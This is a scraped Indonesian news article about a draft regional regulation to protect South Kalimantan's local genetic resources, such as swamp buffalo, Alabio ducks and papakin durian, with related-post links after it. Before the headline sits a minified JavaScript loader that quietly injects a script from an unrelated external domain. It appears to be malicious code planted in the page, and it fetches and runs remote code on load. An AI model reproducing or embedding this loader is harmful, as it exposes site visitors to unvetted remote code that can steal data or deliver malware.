(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Perlunya Perlindungan Sumber Daya Genetik Lokal Kalsel untuk Jaga dari Kepunahan!


BANJARMASIN, Kalimantan Selatan yang memiliki beragam tumbuhan dan hewan khas sebagai bagian dari Sumber Daya Genetik Lokal (SDGL). Tapi sayangnya, hingga saat ini belum ada payung hukum untuk melindungi aset tak ternilai tersebut, hingga selamat dari ancaman kepunahan. Upaya pelestarian pun saat ini masih dalam taraf penyusunan Rancangan Peraturan Daerah (Raperda) yang masih digodok oleh Panitia Khusus di DPRD Kalsel.

Barangkali, kasus kematian ratusan kerbau rawa, yang merupakan salah satu hewan khas Kalsel, di Kecamatan Paminggir, Kabupaten Hulu Sungai Utara (HSU) menjadi salah satu pengingat akan pentingnya melakukan upaya perlindungan. Sebab jika tidak, kelak kerbau rawa bisa menjadi hanya tinggal cerita!

Hal yang dibidik pada Raperda SDGL sebenarnya bukan karena faktor terjadinya wabah, perburuan atau jumlah yang menipis dalam sumber data genetik lokal, tetapi juga akibat perdagangan atau pencampuran gen yang merusak keaslian. Sebagai contoh, belakangan marak dilakukannya perkawinan silang antara itik Alabio dengan jenis entok.

“Akibat perkawinan ini, dikhawatirkan lambat- laun keaslian itik Alabio tersebut tidak ada lagi atau menjadi punah. Karena nanti yang ada hanya hasil persilangan antara itik Alabio dan entok,” kata Kepala Bidang Peternakan Dinas Perkebunan dan Peternakan HSU Achmad Rijani saat hadir pada uji publik Raperda SDGL, beberapa waktu lalu.

Meskipun, di mata peternak perkawinan ini dianggap memberikan harapan baik karena dengan usia sekitar dua setengah bulan saja, anak hasil perkawinan campur ini mencapai berat  1,5 kg. Itik Alabio sendiri tergolong jenis itik unggul, karena mampu bertelor sampai 250 butir selama musim bertelor.

Pada kondisi lain, banyak SDGL provinsinya yang menjadi incaran orang luar daerah, bahkan dari luar negeri. Contohnya, pada kasus pencurian atau pengambilan secara ilegal anggrek hutan. Baik untuk diperdagangkan atau dikembangkan di tempat lain.

Maka Ketua Panitia Khusus (Pansus) Raperda ini, Ir Danu Ismadi Saderi, memandang perlu payung hukum guna mencegah kepunahan SDGL tersebut.

“Ini sangat perlu, apalagi belakangan banyak aktivitas yang bisa mengancam kepunahan sumber daya genetik lokal ini. Seperti maraknya pembukaan lahan untuk perkebunan besar,” kata mantan Kepala Balai Pengkajian dan Teknologi Pertanian (BPTP) Banjarbaru ini.

Apalagi, di Kalsel sendiri, selain kurangnya perlindungan atau pengaturan untuk penyebarluasan, juga belum ada upaya maksimal buat penangkaran/pembudidayaan ataupun pemuliaan. Misalnya buah papakin (pampakin), sejenis buah durian atau masih satu famili dengan durian dengan ciri khas tersendiri, seperti daging isinya yang tebal dan rendah kolestrol, belakangan banyak orang luar daerah yang menggemari.

Foto : net

Sementara di Kabupaten Tabalong, juga mengawinsilangkan papakin dengan durian yang menghasilkan varietas baru bernama mantuala. Hanya saja penanaman pohon mantuala yang buahnya mempunyai keunggulan dan ciri khas tersendiri itu belum berkembang sebagaimana usaha perkebunan durian pada umumnya.

Lalu, di kawasan pedalaman pegunungan Meratus juga terdapat beberapa jenis atau setidaknya belasan varietas tergolong famili durian dan terancam punah. Baik karena penebangan, tanpa penanaman kembali. Seperti buah lahung yang kulit dan isinya merah.

Demikian juga dengan surian dan maharawin yang merupakan durian hutan yang bekulit tebal sehingga sulit membukanya atau harus menggunakan kampak. Namun, terasa manis sekali daripada durian biasa.

Contoh lain adalah flora yang terancam punah di Kalsel antara lain kayu ulin (kayu besi), serta kasturi (manggo vera dilmycia) dan tanaman rotan, karena usaha budidaya atau pemuliaannya masih kurang maksimal. Pun demikian dengan “jelawat batu” (jenis ikan sungai) dan burung belibis yang kini terdapat penangkarannya di Kabupaten HSU.

Terkait berbagai hal tersebut, maka Perda Pengelolaan SDGL nantinya juga akan memuat atau mengatur tanggung jawab Pemda setempat dalam melindungi atau menjaga genetik di daerahnya dari kepunahan. Memang, SDGL lebih fokus berupa tumbuh-tumbuhan, karena pengaturannya belum ada secara khusus dalam peraturan perundang-undangan yang lebih tinggi. (abdullah/berbagai sumber)

 

Reporter : Abdullah/berbagai sumber
Editor : Chell

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

8 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

11 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

15 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

15 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

15 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

17 jam ago

This website uses cookies.